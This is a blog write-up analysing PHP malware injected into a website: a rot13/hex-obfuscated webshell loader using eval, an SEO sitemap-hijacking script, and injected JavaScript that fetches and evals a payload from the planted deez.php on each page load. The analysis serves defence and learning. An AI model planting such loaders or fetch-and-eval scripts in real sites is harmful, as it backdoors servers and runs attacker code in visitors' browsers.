a glitchy edited screenshot of the nebita.com home page

analyzing simple, real world PHP malware

In February I was contacted by convincing from webcage, asking whether I'd like to have a look at some malware that ended up on the website of webcage member nebita. At that point it's been a while since i last looked into any PHP malware, or PHP stuff in general, but I agreed to at least take a quick look at it. I originally documented that work in a Twitter thread, but promised a blog post and with the Twitter account it was originally posted on being suspended that makes even more sense now.

the beginning

an excerpt of the heavily obfuscated php injected at the start of the index file

Various changes were made when the site was originally owned via an insecure ftp password set by the hosting provider at the time. The sites index file had obfuscated php appended to the start of the file and was renamed from a plain html file to a php file, similarly the main js file had obfuscated javascript appended at the end.

the start of the second script dropped in a new sub directory

Additionally another PHP file called deez.php, obfuscated using a different method, was placed in a newly created subdirectory. Based on the fact that this was a standalone script hidden in a subdirectory and the few unobfuscated variables and environment settings I assumed that this script would most likely turn out to be a webshell, however I was still going to try and deobfuscate it, both for the fun of it and to make sure I was right.

the webshell

I decided to take a look at what I assumed was a webshell first, mostly because the obvious use of rot13 for obfuscation made it seem like a much simpler target than the other two scripts.

So let's get a basic outline of the full script:

error_reporting(E_ERROR);
@ini_set('display_errors','Off');
@ini_set('max_execution_time',20000);
@ini_set('memory_limit','256M');
header("content-Type: text/html; charset=utf-8");
$password = "9cf9ffdce70e787dd580fccee52f402e";
define('Viv, bebegim.','');
  1. basic configuration with headers being set, as well as some sort of password 👀
function s(){
$str = "66756r[...]9rr680n75o272r2463686q6s642r275q3p2s6469763r3p2s666s726q3r273o0q0n627265616o3o0q0n7q";
$str=get_str($str);
m($str);
}
function get_str($str){
$str = str_rot13($str);
return $str;
}
  1. a big blob of data is defined, which when run through rot_13 turns out to still be encoded in some hexadecimal format
function get1_str($str1){
$str = $str1."ck";
return $str;
}
function m($str){
global $password;
$str1="pa";
$str1=get1_str($str1);
$jj = '';
@eval(`/******/`.$jj.$str1('H*',$str).$jj);
}
s();
  1. $password is turned into a global, to be used inside the packed script
  2. get1_str and m are simply a very badly obfuscated call to pack which turns our hex encoded data into plain text php...
  3. ... which then gets executed via eval, after doing some useless concatenation in an attempt to obfuscate that call

All we have to do now to get out an unobfuscated version of the script is to replace the call to eval with echo and running it. And what do we get when we do that? ...

a screenshot of part of the webshell source code

🎉 a webshell ✨

another screenshot of part of the webshell source code, showing some of the backdooring code

It even has some fun persistence features, including a built in way to spawn persistent reverse shells on the compromised system to back door it more permanently.

the index file

deobfuscation

Ok, with that out of the way let's take a look at the way more complex looking code injected in the header of the index file. The first thing i did to tackle this one was to copy all the PHP into a seperate file and formatting it, this already made it signficiantly less overwhelming.

a screenshot of part of the formated injected malware

I then URLdecoded the long string at the start, which made it clear that it seems to be some sort of look-up table/alphabet.

# before
$OOOOOO = "%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c";

# after
$O = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-\"?> <.-=:/1230654879';()&^$[]\\%{}!*|";

this quickly made it clear that this script was obfuscated by turning all strings (and method names) into array references. I first tried to undo this obfuscation by half-manually decoding the script string by string, this turned out to be way too tedious very quickly so i wrote a quick and dirty python script to automatically do it for me (with some cursed regex replacements required to join the characters into full strings (s/"([^"]+)" . "([^"]+)"/"$1$2"/)).

script = """<full formatted but obfuscated php script here>"""

alphabet = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-\"?> <.-=:/1230654879';()&^$[]\\%{}!*|"

count = 0
for char in alphabet:
if char == "\"" or char == "\\":
char = "\\" + char
script = script.replace(f"$O[{count}]", f"\"{char}\"")
count = count + 1

print(script)

After that it was only a matter of manually renaming obfuscated variable names and figuring out what this, now super clean, script does.

a screenshot of the start of the now deobfuscated malware script

analysis

It turns out this script is A LOT of fun and certainly way more interesting than i expected. What it does is, it captures requests for sitemaps from search engine bots and returns sitemaps from their own backend, presumably to trick search engines into ranking spam sites higher and as related to the sites infected with this malware.

a screenshot of some of the sitemap replacement source code

Based on this scripts function, the little info i have on the backend as well as the fact that the webshell they used is in Chinese, I assume that the site was hacked by spammers (or their contractors) from China, who then resell traffic and search engine ranking services to others, most likely also spammers/scammers.

the javascript

The JavaScript injected at the start of the main js file turned out to be fairly heavy but standard js obfuscation, which I was able to manually reverse step by step with a little bit of patience. I don't really have a write up on how I did that for this specific instance, but I plan to at some point talk about my process for manually deobfuscating scripts.

After a few passes of manual clean up the script turns out to be merely 27 simple lines of js:

if (hasRun === undefined) {
var hasRun = true;

var HttpClient = function () {
this.get = function (url, callback) {
var request = new XMLHttpRequest();
request.onreadystatechange = function () {
if (request.readyState == 4 && request.status == 200) {
callback(request.responseText);
}
};
request.open("GET", url, !![]);
request.send(null);
};
};

(function () {
if (document.referrer && !(document.referrer.indexOf(location.hostname) !== -1) && !document.cookie) {
var client = new HttpClient();
var url = location.protocol + "//nebita.com/U66c6Lzr<shortened by maia>aa8HI/deez/deez.php?id=" + Math.random().toString(36).substr(2) + Math.random().toString(36).substr(2);
client.get(url, function (response) {
// execute returned xss payload
response.indexOf("ndsx") !== -1 && eval(response);
});
}
})();
}

So all this script did is query the webshell script for a javascript payload to execute on each load of the webpage. It's unfortunately not possible to figure out anymore what, if anything at all, was injected into the site this way, but I assume that this was the main reason for the big slowdown of the page that lead to discovering the malware in the first place (this is purely speculation though).

the backend

So next i obviously wanted to take a look at the spammers backend and it's api, however that turned out to have been taken down already at the time.

the malware

If you are interested in looking through the malware source code yourself, or attempt to replicate my deobfuscation attempts all files mentioned throughout this article can be found in a GitHub repository here. Feel free to let me know if you find anything interesting I missed!